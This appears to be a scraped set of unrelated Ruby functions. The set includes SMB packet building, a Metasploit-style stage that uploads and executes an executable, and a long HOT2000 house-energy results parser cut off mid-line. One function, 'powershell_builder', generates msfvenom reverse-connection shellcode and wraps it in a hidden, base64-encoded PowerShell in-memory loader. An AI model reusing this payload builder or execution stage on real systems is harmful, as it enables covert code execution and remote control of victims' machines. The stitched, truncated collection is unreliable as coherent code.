"def put_trans_data(pkt, len: 0, param: '', data: '', noPad: false)\n pkt['Payload'].v['ParamOffset'] = 0\n pkt['Payload'].v['DataOffset'] = 0\n\n # SMB header: 32 bytes\n # WordCount: 1 bytes\n # ByteCount: 2 bytes\n #offset = 32 + 1 + len + 2 #len(pkt['Parameters']) + 2\n len = pkt.to_s.length - 4\n param = param.b\n data = data.b\n offset = len\n\n transData = ''\n if param != ''\n padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end\n pkt['Payload'].v['ParamOffset'] = offset + padLen\n transData = (\"\\x00\" * padLen) + param\n offset += padLen + param.length\n end\n\n if data != ''\n padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end\n pkt['Payload'].v['DataOffset'] = offset + padLen\n transData += (\"\\x00\" * padLen) + data\n end\n\n pkt['Payload'].v['Payload'] = transData\n pkt\n end",
"def post_process(env, status, headers, body)\n [status, headers, body]\n end",
"def powershell_builder(venomstring)\n\t# venomstring should be the arguments needed for msfvenom to build the base payload/shellcode ('-p <payload> LHOST=<ip> LPORT=<port>'\n\tshellcode=\"#{`#{MSFPATH}/msfvenom #{venomstring} -b \\\\x00`}\".gsub(\";\", \"\").gsub(\" \", \"\").gsub(\"+\", \"\").gsub('\"', \"\").gsub(\"\\n\", \"\").gsub('buf=','').strip.gsub('\\\\',',0').sub(',', '')\n\t#\t=> yields a variable holding our escapped shellcode with ',' between each char.....\n\n\tprint_status(\"Converting Base ShellCode to PowerShell friendly format.....\")\n\t# Borrowed from one of several appearances across the many Python written scripts :p\n\tps_base = \"$code = '[DllImport(\\\"kernel32.dll\\\")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(\\\"kernel32.dll\\\")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(\\\"msvcrt.dll\\\")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name \\\"Win32\\\" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };\"\n\t\t# => Our base PowerShell wrapper to get the job done now in var\n\n\tps_base_cmd = ps_base.sub('%s', shellcode) \n\t\t# => place our shellcode in the Python placeholder :p\n\n\t#Prep it for final stages and put in funky ps format....\n\tps_cmd_prepped=String.new\n\tps_base_cmd.scan(/./) {|char| ps_cmd_prepped += char + \"\\x00\" }\n\n\t# Base64 Encode our Payload so it is primed & ready for PowerShell usage\n\tstager = Base64.encode64(\"#{ps_cmd_prepped}\")\n\n\t#The magic is now ready!\n\tps_cmd = 'powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand ' + stager.gsub(\"\\n\", '')\n\treturn ps_cmd\nend",
"def post(data)\n uri = URI(@host)\n res = Net::HTTP.post_form(uri, {shell: data})\n # puts res.body\nend",
"def raw_post\n env['RAW_POST_DATA']\n end",
"def handle_connection_stage(conn)\n\t\tbegin\n\t\t\t# bug fix for: data = ::IO.read(datastore['PEXEC'])\n\t\t\t# the above does not return the entire contents\n\t\t\tdata = \"\"\n\t\t\tFile.open( datastore['PEXEC'], \"rb\" ) { |f|\n\t\t\t\tdata += f.read\n\t\t\t}\n\t\trescue\n\t\t\tprint_error(\"Failed to read executable: #{$!}\")\n\n\t\t\t# TODO: exception\n\t\t\tconn.close\n\t\t\treturn\n\t\tend\n\n\t\tprint_status(\"Uploading executable (#{data.length} bytes)...\")\n\n\t\tconn.put([ data.length ].pack('V'))\n\t\tconn.put(data)\n\n\t\tprint_status(\"Executing uploaded file...\")\n\n\t\tsuper\n\tend",
"def convert()\n @helper.post(@fields, @files, @raw_data)\n end",
"def postprocess( scaleData )\n\n stream_out( \"\\n Loading XML elements from #{$gWorkingModelFile} ...\")\n\n # Load all XML elements from HOT2000 file (post-run results now available)\n h2kPostElements = get_elements_from_filename( $gWorkingModelFile )\n\n if ( $gCustomCostAdjustment )\n $gRegionalCostAdj = $gCostAdjustmentFactor\n else\n $gRegionalCostAdj = $RegionalCostFactors[$Locale]\n end\n\n # PVSise Depreciated. To be removed in later versions.\n # $PVsize = $gChoices[\"Opt-StandoffPV\"] # Input examples: \"SizedPV\", \"SizedPV|3kW\", or \"NoPV\"\n $PVInt = $gChoices[\"Opt-H2K-PV\"] # Input examples: \"MonoSi-50m2\", \"NA\"\n if ( $PVInt != \"NA\" )\n $PVIntModel = true\n if ( $PVsize != \"NoPV\" ) # Internal PV model supercedes external!\n $PVsize = \"NoPV\"\n end\n end\n\n # Set flags for reading from Browse.rpt file\n bReadOldERSValue = false\n bUseNextPVLine = false\n bUseNextACLine = false\n bReadAirConditioningLoad = true # Always get Air Conditioning Load (not available in XML)\n\n #Open diagnostics file and possibly read in interesting info !?!\n $lineNo = 0\n if ( $gReadROutStrTxt )\n #begin\n stream_out(\"\\nParsing diagnostics from #{$OutputFolder}\\\\Routstr.txt ...\")\n fRoutStr = File.new(\"#{$OutputFolder}\\\\Routstr.txt\", \"r\")\n\n $SOCparse = false\n $SHTiniparse = false\n $FFBCparse = false\n $EFBCparse = false\n $HPparse = false\n $bHeatingDone = false\n $EBakparse = false\n $GOPparse = false\n # Zero arrays\n 32.times do |n|\n\n $binDatHrs[n+1]=0\n $binDatTmp[n+1]=0\n $binDatTsfB[n+1]=0\n $binDatHLR[n+1]=0\n $binDatT2cap[n+1]=0\n #$binDatT1cap[n+1]=0\n $binDatT2PLR[n+1]=0\n $binDatT1PLR[n+1]=0\n\n end\n\n\n\n while !fRoutStr.eof? do\n\n $lineNo = $lineNo + 1\n\n $lineIn = fRoutStr.readline\n $lineIn.strip!\n\n if ( $lineIn =~ /^\\s*$/ || $bHeatingDone ) then\n next # Skip empty line.\n end\n\n\n #Report binned data in general or SOC modes.\n # (This still calls for a more robust approach that can set the evaluation\n # type from the choice file or cmd line.)\n if ($lineIn =~ /Starting Run: House with standard operating conditions/ ||\n $lineIn =~ /Starting Run: House\\s*$/ )\n debug_out(\"ROUTSTR ? SOC open #{$lineNo} | #{$lineIn} \\n\")\n $SOCparse = true\n elsif ($lineIn =~ /Starting Run: / && $SOCparse)\n debug_out(\"ROUTSTR ? SOC close #{$lineNo} | #{$lineIn} \\n\")\n $SOCparse = false\n end\n\n if ( ! $SOCparse ) then\n next # Skip if we're not within standard OCs.\n end\n\n # Test if cooling sectins have been reached.\n if ( $lineIn =~ /Cooling calculations ../ )\n debug_out(\"ROUTSTR ? COOLING SECTION : #{$lineIn} \\n\")\n $bHeatingDone = true\n next\n end\n\n\n\n # Set flags for sections in the file\n if ($lineIn =~ /SpaceHTini/ )\n debug_out(\"ROUTSTR ? SpaceHTini open #{$lineNo} | #{$lineIn} \\n\")\n $SHTiniparse = true\n elsif ($lineIn =~ /Space00/ && $SHTiniparse )\n debug_out(\"ROUTSTR ? SpaceHTini close #{$lineNo} | #{$lineIn} \\n\")\n $SHTiniparse = false\n end\n\n if ($lineIn =~ /FossilFurnaceBC/ )\n debug_out(\"ROUTSTR ? FossilFurnaceBC open #{$lineNo} | #{$lineIn} \\n\")\n $FFBCparse = true\n elsif ($FFBCparse &&\n ( $lineIn =~ /HPBPLocated/ || $lineIn =~ /ElectricFurnaceBC/ || $lineIn =~ /oSpaceHT/ ) )\n debug_out(\"ROUTSTR ? FossilFurnaceBC close #{$lineNo} | #{$lineIn} \\n\")\n $FFBCparse = false\n end\n\n\n if ($lineIn =~ /GOPBackup: Gas\\/Oil\\/Propane backup../ )\n debug_out(\"ROUTSTR ? Gas/Oil/Propoane backup open #{$lineNo} | #{$lineIn} \\n\")\n $GOPparse = true\n elsif ( $GOPparse &&\n ( $lineIn =~ /HPBPLocated/ || $lineIn =~ /ElectricFurnaceBC/ || $lineIn =~ /oSpaceHT/ ) )\n debug_out(\"ROUTSTR ? Gas/Oil/Propoane backup close #{$lineNo} | #{$lineIn} \\n\")\n $GOPparse = false\n end\n\n\n if ($lineIn =~ /ElectricFurnaceBC/ )\n debug_out(\"ROUTSTR ? ElectricFurnaceBC open #{$lineNo} | #{$lineIn} \\n\")\n $EFBCparse = true\n elsif ($EFBCparse &&\n ( $lineIn =~ /HPBPLocated/ || $lineIn =~ /oSpaceHT/ ) )\n debug_out(\"ROUTSTR ? ElectricFurnaceBC close #{$lineNo} | #{$lineIn} \\n\")\n $EFBCparse = false\n end\n\n if ($lineIn =~ /ElectricBackup: ELECTRIC BACK-UP/ )\n debug_out(\"ROUTSTR ? ElectricBack open #{$lineNo} | #{$lineIn} \\n\")\n $EBakparse = true\n elsif ( $EBakparse &&\n ( $lineIn =~ /ElectricFurnaceBC: ELECTRIC HEAT BELOW CUT-OFF../ ) )\n debug_out(\"ROUTSTR ? ElectricBack close #{$lineNo} | #{$lineIn} \\n\")\n $EBakparse = false\n end\n\n\n if ($lineIn =~ /AboveHPBP @160/ )\n debug_out(\"ROUTSTR ? HP open #{$lineNo} | #{$lineIn} \\n\")\n $HPparse = true\n elsif ( $HPparse &&\n ( $lineIn =~ /FALLS THU OPS/ || $lineIn =~ /Exit AboveHPBP @ 180/ || $lineIn =~/HPBPLocated 180 T/) )\n debug_out(\"ROUTSTR ? HP close #{$lineNo} | #{$lineIn} \\n\")\n $HPparse = false\n end\n\n\n # ==== Parse Data =====\n\n # Read fan power\n if ($lineIn =~ /QFFAN/ )\n debug_out(\"ROUTSTR ? QFFAN : #{$lineNo} | #{$lineIn} \\n\")\n valuesArr = $lineIn.split()\n $FurnFanPower = valuesArr[3]\n $HPFanPower = valuesArr[4]\n debug_out(\"ROUTSTR ? #{$lineNo} | QFFAN = #{$FurnFanPower} , QHPFAN = #{$HPFanPower} \\n \")\n end\n\n # Read T1 capacity\n if ($lineIn =~ /oSpaceHT FURNPW/ )\n valuesArr = $lineIn.split()\n debug_out(\"ROUTSTR ? oCpaceHTFURN : #{$lineIn} \\n\")\n $T1Capacity = valuesArr[2]\n end\n\n # Get SH bin definitions\n if ($SHTiniparse)\n debug_out(\"ROUTSTR ? SHITI : #{$lineIn} \\n\")\n # Headerline - ignore\n if ($lineIn =~ /Bin BinHours TbinC HLcvs HLAir TsfB CShtr HLR0 HLR1 HLR2/ )\n\n else\n valuesArr = $lineIn.split()\n binNo = valuesArr[0].to_i\n $binDatHrs[binNo] = valuesArr[1].to_f\n $binDatTmp[binNo] = valuesArr[2].to_f\n $binDatTsfB[binNo] = valuesArr[5].to_f\n end\n\n end\n\n\n\n\n\n # Get furnace performace data\n if ( $FFBCparse )\n debug_out(\"ROUTSTR ? FossilFurnace : #{$lineIn} \\n\")\n if ($lineIn =~ /FossilFurnaceBC:/ || $lineIn !~ /^\\s*[0-9]/)\n # Header - ignore\n else\n\n debug_out(\">>>FOSIL Furnace Parsing #{$lineIn} \\n\")\n valuesArr = $lineIn.split()\n binNo = valuesArr[0].to_i\n $binDatHLR[binNo] = valuesArr[3].to_f\n $binDatT1PLR[binNo] = valuesArr[6].to_f\n\n\n end\n end\n\n # Get Heat pump w/ electric back-up data\n if ( $EBakparse )\n debug_out(\"ROUTSTR ? E-Backup: #{$lineIn} \\n\")\n if ($lineIn =~ /ElectricFurnaceBC:/ || $lineIn !~ /^\\s*[0-9]/)\n # Header - ignore\n else\n\n valuesArr = $lineIn.split()\n binNo = valuesArr[0].to_i\n $binDatHLR[binNo] = valuesArr[1].to_f\n $binDatT2cap[binNo] = valuesArr[3].to_f\n $binDatT2PLR[binNo] = 1.0\n $binDatT1PLR[binNo] = valuesArr[5].to_f\n\n\n end\n end\n\n\n #Get heat pump w/gas back up data.\n if ( $GOPparse )\n\n if ( $lineIn !~ /^@290/ )\n # Header - ignore\n else\n debug_out(\"ROUTSTR ? GOP parse: #{$lineIn} \\n\")\n valuesArr = $lineIn.split()\n binNo = valuesArr[1].to_i\n $binDatHLR[binNo] = valuesArr[2].to_f\n $binDatT2cap[binNo] = valuesArr[3].to_f\n $binDatT2PLR[binNo] = 1.0\n $binDatT1PLR[binNo] = valuesArr[6].to_f\n\n\n end\n\n\n\n end\n\n\n\n # Get Electric furnace data\n if ( $EFBCparse )\n debug_out(\"ROUTSTR ? Electric Furnace : #{$lineIn} \\n\")\n if ($lineIn =~ /ElectricFurnaceBC:/ || $lineIn !~ /^\\s*[0-9]/)\n # Header - ignore\n else\n\n valuesArr = $lineIn.split()\n binNo = valuesArr[0].to_i\n $binDatHLR[binNo] = valuesArr[1].to_f\n $binDatT1PLR[binNo] = valuesArr[3].to_f\n\n\n end\n end\n\n\n # Get heat pump data\n if ( $HPparse )\n debug_out(\"ROUTSTR ? Heat pump : #{$lineIn} \\n\")\n if ($lineIn =~ /AboveHPBP/ || $lineIn !~ /^\\s*[0-9]/ )\n # Header - ignore\n else\n valuesArr = $lineIn.split()\n binNo = valuesArr[0].to_i\n $binDatHLR[binNo] = valuesArr[2].to_f\n $binDatT2cap[binNo] = valuesArr[4].to_f\n $binDatT2PLR[binNo] = valuesArr[5].to_f\n\n\n end\n end\n\n end # end of while loop\n\n\n stream_out(\"done.\\n\")\n fRoutStr.close()\n #rescue\n # fatalerror(\"Could not read ROutStr.txt\\n\")\n\n #end\n end #of reading ROUTSTR file\n\n\n\n\n\n debug_out(\" bin data: #{'%4s' \"bin\"} #{'%12s' % \"$binDatHrs\"} #{'%12s' % \"$binDatTmp\"} #{'%12s' % \"$binDatTsfB\"} #{'%12s' % \"$binDatHLR\"} #{'%12s' % \"$binDatT1PLR\"} #{'%12s' % \"$binDatT2PLR\"} #{'%12s' % \"$binDatT2cap\"}\\n\" )\n 32.times do |n|\n\n bin = n + 1\n debug_out(\" bin data: #{'%4s' % bin} #{'%12s' % $binDatHrs[bin]} #{'%12s' % $binDatTmp[bin]} #{'%12s' % $binDatTsfB[bin]} #{'%12s' % $binDatHLR[bin]} #{'%12s' % $binDatT1PLR[bin]} #{'%12s' % $binDatT2PLR[bin]} #{'%12s' % $binDatT2cap[bin]}\\n\" )\n\n end\n\n\n\n\n\n\n\n\n\n\n # Determine if need to read old ERS number based on existence of file Set_EGH.h2k in H2K folder\n if File.exist?(\"#{$run_path}\\\\Set_EGH.h2k\") then\n bReadOldERSValue = true\n end\n\n\n # Read from Browse.rpt ASCII file *if* data not available in XML (.h2k file)!\n if bReadOldERSValue || bReadAirConditioningLoad || $PVIntModel\n begin\n fBrowseRpt = File.new(\"#{$OutputFolder}\\\\Browse.Rpt\", \"r\")\n while !fBrowseRpt.eof? do\n lineIn = fBrowseRpt.readline # Sequentially read file lines\n lineIn.strip! # Remove leading and trailing whitespace\n if ( lineIn !~ /^\\s*$/ ) # Not an empty line!\n if ( bReadOldERSValue && lineIn =~ /^Energuide Rating \\(not rounded\\) =/ )\n lineIn.sub!(/Energuide Rating \\(not rounded\\) =/, '')\n lineIn.strip!\n $gERSNum = lineIn.to_f # Use * scaleData?\n bReadOldERSValue = false\n break if !$PVIntModel # Stop parsing Browse.rpt when ERS number found!\n elsif ( ( $PVIntModel && lineIn =~ /PHOTOVOLTAIC SYSTEM MONTHLY PERFORMANCE/ ) || ( $PVIntModel && bUseNextPVLine ) )\n bUseNextPVLine = true\n if ( lineIn =~ /^Annual/ )\n valuesArr = lineIn.split() # Uses spaces by default to split-up line\n $annPVPowerFromBrowseRpt = valuesArr[4].to_f * 12.0 / 1000.0 # kW (approx PV power)\n break # PV power near bottom and last value to read!\n end\n elsif ( (bReadAirConditioningLoad && lineIn =~ /AIR CONDITIONING SYSTEM PERFORMANCE/) || bUseNextACLine)\n bUseNextACLine = true\n if ( lineIn =~ /^Ann/ ) # Look for the annual results\n valuesArr = lineIn.split() # Uses spaces by default to split-up line\n $annACSensibleLoadFromBrowseRpt = valuesArr[1].to_f #Annual AirConditioning Sensible Load (MJ)\n $annACLatentLoadFromBrowseRpt = valuesArr[2].to_f #Annual AirConditioning Latent Load (MJ)\n $AvgACCOP = valuesArr[8].to_f #Average COP of AirConditioning\n $TotalAirConditioningLoad = ($annACSensibleLoadFromBrowseRpt + $annACLatentLoadFromBrowseRpt) / 1000.0 # Divided by 1000 to convert unit to GJ\n bUseNextACLine = false\n break if !$PVIntModel # Stop parsing Browse.rpt if noting else required!\n end\n end\n end\n end\n fBrowseRpt.close()\n rescue\n fatalerror(\"Could not read Browse.Rpt.\\n\")\n end\n end\n\n # ===================== Get house information from the XML file\n if ($FlagHouseInfo)\n getHouseInfo(h2kPostElements)\n end\n\n # ===================== Get envelope characteristics from the XML file\n getEnvelopeSpecs(h2kPostElements)\n\n # ==================== Get electricity rate structure for external PV model use\n if ($PVsize !~ /NoPV/ )\n locationText = \"HouseFile/FuelCosts/Electricity/Fuel/Minimum\"\n $gElecRate[\"ElecMthMinCharge$\"] = h2kPostElements[locationText].attributes[\"charge\"].to_f\n locationText = \"HouseFile/FuelCosts/Electricity/Fuel/RateBlocks/Block1\"\n $gElecRate[\"ElecBlck1Units\"] = h2kPostElements[locationText].attributes[\"units\"].to_f\n $gElecRate[\"ElecBlck1CostPerUnit\"] = h2kPostElements[locationText].attributes[\"costPerUnit\"].to_f\n if ( h2kPostElements[locationText].attributes[\"units\"] != \"99999\" )\n locationText = \"HouseFile/FuelCosts/Electricity/Fuel/RateBlocks/Block2\"\n $gElecRate[\"ElecBlck2Units\"] = h2kPostElements[locationText].attributes[\"units\"].to_f\n $gElecRate[\"ElecBlck2CostPerUnit\"] = h2kPostElements[locationText].attributes[\"costPerUnit\"].to_f\n if ( h2kPostElements[locationText].attributes[\"units\"] != \"99999\" )\n locationText = \"HouseFile/FuelCosts/Electricity/Fuel/RateBlocks/Block3\"\n $gElecRate[\"ElecBlck3Units\"] = h2kPostElements[locationText].attributes[\"units\"].to_f\n $gElecRate[\"ElecBlck3CostPerUnit\"] = h2kPostElements[locationText].attributes[\"costPerUnit\"].to_f\n if ( h2kPostElements[locationText].attributes[\"units\"] != \"99999\" )\n locationText = \"HouseFile/FuelCosts/Electricity/Fuel/RateBlocks/Block4\"\n $gElecRate[\"ElecBlck4Units\"] = h2kPostElements[locationText].attributes[\"units\"].to_f\n $gElecRate[\"ElecBlck4CostPerUnit\"] = h2kPostElements[locationText].attributes[\"costPerUnit\"].to_f\n end\n end\n end\n end\n\n # Get house heated floor area\n $FloorArea = getHeatedFloorArea( h2kPostElements )\n $HouseVolume= h2kPostElements[\"HouseFile/House/NaturalAirInfiltration/Specifications/House\"].attributes[\"volume\"].to_f\n # ==================== Get results for all h2k calcs from XML file (except above case)\n\n parseDebug = true\n $HCRequestedfound = false\n $HCGeneralFound = false\n $HCSOCFound = false\n\n # Make sure that the code we want is available\n h2kPostElements[\"HouseFile/AllResults\"].elements.each do |element|\n\n houseCode = element.attributes[\"houseCode\"]\n\n # 05-Feb-2018 JTB: Note that in Non-Program (ERS) mode there is no \"houseCode\" attribute in the single element results set!\n # When in Program mode there are multiple element results sets (7). The first set has no houseCode attribute, the next six (6)\n # do have a value for the houseCode attribute. The last set has the houseCode attribute of \"UserHouse\", which almost exactly\n # matches the first results set (General mode results).\n if (houseCode == nil && element.attributes[\"sha256\"] != nil)\n houseCode = \"General\"\n end\n\n if (houseCode == \"#{$outputHCode}\" )\n $HCRequestedfoundfound = true\n end\n\n if ( houseCode == \"SOC\" )\n $HCSOCFound = true\n end\n\n if ( houseCode == \"General\" )\n $HCGeneralFound = true\n end\n\n end\n\n if ( ! $HCRequestedfound && $outputHCode != \"General\" )\n $ThisMsg = \"HOT2000 didn't generate \\\"#{$outputHCode}\\\" result set. \"\n\n if ( $HCSOCFound )\n $outputHCode = \"SOC\"\n elsif ( $HCGeneralFound )\n $outputHCode = \"General\"\n end\n\n $ThisMsg +=\" Reporting result set \\\"#{$outputHCode}\\\" result instead. \\n\"\n warn_out($ThisMsg)\n end\n\n h2kPostElements[\"HouseFile/AllResults\"].elements.each do |element|\n\n houseCode = element.attributes[\"houseCode\"]\n\n if (houseCode == nil && element.attributes[\"sha256\"] != nil)\n houseCode = \"General\"\n end\n\n # JTB 31-Jan-2018: Limiting results parsing to 1 set specified by user in choice file and saved in $outputHCode\n if (houseCode =~ /#{$outputHCode}/)\n\n stream_out( \"\\n Parsing results from set: #{$outputHCode} ...\")\n\n # Energy Consumption (Annual GJ)\n $gResults[houseCode][\"avgEnergyTotalGJ\"] = element.elements[\".//Annual/Consumption\"].attributes[\"total\"].to_f * scaleData\n $gResults[houseCode][\"avgEnergyHeatingGJ\"] = element.elements[\".//Annual/Consumption/SpaceHeating\"].attributes[\"total\"].to_f * scaleData\n $gResults[houseCode][\"avgGrossHeatLossGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"total\"].to_f * scaleData\n $gResults[houseCode][\"avgEnergyCoolingGJ\"] = element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"airConditioning\"].to_f * scaleData\n $gResults[houseCode][\"avgEnergyVentilationGJ\"] = element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"ventilation\"].to_f * scaleData\n $gResults[houseCode][\"avgEnergyEquipmentGJ\"] = element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"baseload\"].to_f * scaleData\n $gResults[houseCode][\"avgEnergyWaterHeatingGJ\"] = element.elements[\".//Annual/Consumption/HotWater\"].attributes[\"total\"].to_f * scaleData\n\n if $ExtraOutput1 then\n # Total Heat Loss of all zones by component (GJ)\n $gResults[houseCode][\"EnvHLTotalGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"total\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLCeilingGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"ceiling\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLMainWallsGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"mainWalls\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLWindowsGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"windows\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLDoorsGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"doors\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLExpFloorsGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"exposedFloors\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLCrawlspaceGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"crawlspace\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLSlabGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"slab\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLBasementBGWallGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"basementBelowGradeWall\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLBasementAGWallGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"basementAboveGradeWall\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLBasementFlrHdrsGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"basementFloorHeaders\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLPonyWallGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"ponyWall\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLFlrsAbvBasementGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"floorsAboveBasement\"].to_f * scaleData\n $gResults[houseCode][\"EnvHLAirLkVentGJ\"] = element.elements[\".//Annual/HeatLoss\"].attributes[\"airLeakageAndNaturalVentilation\"].to_f * scaleData\n\n # Annual DHW heating load [GJ] -- heating load (or demand) on DHW system (before efficiency applied)\n $gResults[houseCode][\"AnnHotWaterLoadGJ\"] = element.elements[\".//Annual/HotWaterDemand\"].attributes[\"base\"].to_f * scaleData\n end\n\n # Design loads, other data\n $gResults[houseCode][\"avgOthPeakHeatingLoadW\"] = element.elements[\".//Other\"].attributes[\"designHeatLossRate\"].to_f * scaleData\n $gResults[houseCode][\"avgOthPeakCoolingLoadW\"] = element.elements[\".//Other\"].attributes[\"designCoolLossRate\"].to_f * scaleData\n\n $gResults[houseCode][\"avgOthSeasonalHeatEff\"] = element.elements[\".//Other\"].attributes[\"seasonalHeatEfficiency\"].to_f * scaleData\n $gResults[houseCode][\"avgVntAirChangeRateNatural\"] = element.elements[\".//Annual/AirChangeRate\"].attributes[\"natural\"].to_f * scaleData\n $gResults[houseCode][\"avgVntAirChangeRateTotal\"] = element.elements[\".//Annual/AirChangeRate\"].attributes[\"total\"].to_f * scaleData\n $gResults[houseCode][\"avgSolarGainsUtilized\"] = element.elements[\".//Annual/UtilizedSolarGains\"].attributes[\"value\"].to_f * scaleData\n $gResults[houseCode][\"avgVntMinAirChangeRate\"] = element.elements[\".//Other/Ventilation\"].attributes[\"minimumAirChangeRate\"].to_f * scaleData\n\n $gResults[houseCode][\"avgFuelCostsElec$\"] = element.elements[\".//Annual/ActualFuelCosts\"].attributes[\"electrical\"].to_f * scaleData\n $gResults[houseCode][\"avgFuelCostsNatGas$\"] = element.elements[\".//Annual/ActualFuelCosts\"].attributes[\"naturalGas\"].to_f * scaleData\n $gResults[houseCode][\"avgFuelCostsOil$\"] = element.elements[\".//Annual/ActualFuelCosts\"].attributes[\"oil\"].to_f * scaleData\n $gResults[houseCode][\"avgFuelCostsPropane$\"] = element.elements[\".//Annual/ActualFuelCosts\"].attributes[\"propane\"].to_f * scaleData\n $gResults[houseCode][\"avgFuelCostsWood$\"] = element.elements[\".//Annual/ActualFuelCosts\"].attributes[\"wood\"].to_f * scaleData\n\n if $ExtraOutput1 then\n # Annual SpaceHeating and HotWater energy by fuel type [GJ]\n $gResults[houseCode][\"AnnSpcHeatElecGJ\"] = element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"spaceHeating\"].to_f * scaleData\n $gResults[houseCode][\"AnnSpcHeatGasGJ\"] = element.elements[\".//Annual/Consumption/NaturalGas\"].attributes[\"spaceHeating\"].to_f * scaleData\n $gResults[houseCode][\"AnnSpcHeatOilGJ\"] = element.elements[\".//Annual/Consumption/Oil\"].attributes[\"spaceHeating\"].to_f * scaleData\n $gResults[houseCode][\"AnnSpcHeatPropGJ\"] = element.elements[\".//Annual/Consumption/Propane\"].attributes[\"spaceHeating\"].to_f * scaleData\n $gResults[houseCode][\"AnnSpcHeatWoodGJ\"] = element.elements[\".//Annual/Consumption/Wood\"].attributes[\"spaceHeating\"].to_f * scaleData\n $gResults[houseCode][\"AnnHotWaterElecGJ\"] = element.elements[\".//Annual/Consumption/Electrical/HotWater\"].attributes[\"dhw\"].to_f * scaleData\n $gResults[houseCode][\"AnnHotWaterGasGJ\"] = element.elements[\".//Annual/Consumption/NaturalGas\"].attributes[\"hotWater\"].to_f * scaleData\n $gResults[houseCode][\"AnnHotWaterOilGJ\"] = element.elements[\".//Annual/Consumption/Oil\"].attributes[\"hotWater\"].to_f * scaleData\n $gResults[houseCode][\"AnnHotWaterPropGJ\"] = element.elements[\".//Annual/Consumption/Propane\"].attributes[\"hotWater\"].to_f * scaleData\n $gResults[houseCode][\"AnnHotWaterWoodGJ\"] = element.elements[\".//Annual/Consumption/Wood\"].attributes[\"hotWater\"].to_f * scaleData\n end\n\n $gResults[houseCode][\"avgFueluseElecGJ\"] = element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"total\"].to_f * scaleData\n\n # Bug in v11.3b90: The annual electrical energy total is 0 even though its components are not. Workaround below.\n # 07-APR-2018 JTB: This should only be checked when there is NO internal PV model in use!\n if !$PVIntModel && $gResults[houseCode][\"avgFueluseElecGJ\"] == 0 then\n $gResults[houseCode][\"avgFueluseElecGJ\"] = element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"baseload\"].to_f * scaleData +\n element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"airConditioning\"].to_f * scaleData +\n element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"appliance\"].to_f * scaleData +\n element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"lighting\"].to_f * scaleData +\n element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"heatPump\"].to_f * scaleData +\n element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"spaceHeating\"].to_f * scaleData +\n element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"spaceCooling\"].to_f * scaleData +\n element.elements[\".//Annual/Consumption/Electrical\"].attributes[\"ventilation\"].to_f * scaleData +\n element.elements[\".//Annual/Consumption/Electrical/HotWater\"].attributes[\"dhw\"].to_f * scaleData\n end\n $gResults[houseCode][\"avgFueluseNatGasGJ\"] = element.elements[\".//Annual/Consumption/NaturalGas\"].attributes[\"total\"].to_f * scaleData\n $gResults[houseCode][\"avgFueluseOilGJ\"] = element.elements[\".//Annual/Consumption/Oil\"].attributes[\"total\"].to_f * scaleData\n $gResults[houseCode][\"avgFuelusePropaneGJ\"] = element.elements[\".//Annual/Consumption/Propane\"].attributes[\"total\"].to_f * scaleData\n $gResults[houseCode][\"avgFueluseWoodGJ\"] = element.elements[\".//Annual/Consumption/Wood\"].attributes[\"total\"].to_f * scaleData\n\n $gResults[houseCode][\"avgFueluseEleckWh\"] = $gResults[houseCode][\"avgFueluseElecGJ\"] * 277.77777778\n $gResults[houseCode][\"avgFueluseNatGasM3\"] = $gResults[houseCode][\"avgFueluseNatGasGJ\"] * 26.853\n $gResults[houseCode][\"avgFueluseOilL\"] = $gResults[houseCode][\"avgFueluseOilGJ\"] * 25.9576\n $gResults[houseCode][\"avgFuelusePropaneL\"] = 